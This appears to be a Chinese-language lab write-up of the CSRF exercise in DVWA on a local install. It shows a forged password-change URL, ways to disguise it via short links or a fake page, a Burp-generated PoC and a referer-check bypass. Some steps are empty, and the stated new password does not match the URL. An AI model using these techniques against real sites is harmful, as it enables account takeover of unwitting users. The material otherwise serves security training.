2、发现可以通过修改URL直接修改密码http://127.0.0.1/DVWA-master/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change#
既然参数是GET方式传递的,那么我们可以直接在URL链接中设置参数,如果用户用登陆过该网站的浏览器(服务器会验证cookie)打开这个链接,那么将直接把参数传递给服务器,因为服务器并没有防CSRF的措施,所以直接可以攻击成功,密码将被改为123456。到那时如果用户在没有登陆过这个网站的浏览器上打开这个链接,并不会更改密码,而是跳转到登录界面。因为服务器在接受访问时,首先还要验证用户的cookie,如果浏览器上并没有之前登录留下的cookie,那攻击也就无法奏效。这么看来CSRF攻击的关键就是利用受害者的cookie向服务器发送伪造请求。
但是这样太容易被发现,我们可以将其修改成短链接(因为本地搭的环境,服务器域名是ip所以无法生成相应的短链接,实际攻击场景下只要目标服务器的域名不是ip,是可以生成相应短链接的。)
3、构造攻击界面
真实CSRF攻击中,攻击者为了隐藏自己的攻击手段,可能构造一个假的页面,然后放在公网上,诱导受害者访问这个页面,如果受害者访问了这个页面,那么受害者就会在不知情的情况下完成了CSRF攻击。自己测试可以写一个本地页面,也可以利用burpsuit直接生成攻击页面代码。
<1>抓取更改密码的数据包,利用engagement tools生成CDRF PoC,访问点击提交之后就可以更改密码。
<2>
<3>访问点击提交之后就可以更改密码。
一、查看源码
if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
···
}else {
echo "<pre>That request didn't look correct.</pre>";
}
相比较于Low级别,它添加了referer验证,可以利用burp抓包查看
将该处的referer复制到自己的数据包中即可
一、查看源码
// Generate Anti-CSRF token
generateSessionToken();
查看源码我们发现,它添加了一个token验证
二、解题步骤
本题我们可以使用burp的插件
1、安装
2、配置
3、解题
直接抓包修改即可
<1>抓包
$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
$data->bindParam( ':password', $pass_curr, PDO::PARAM_STR )
加入了PDO预编译语句防止SQL注入,防止CSRF不仅用了token,还要求用户输入原密码,这样在不知道原密码的情况下就无法构造参数。因此,目前还无法破解。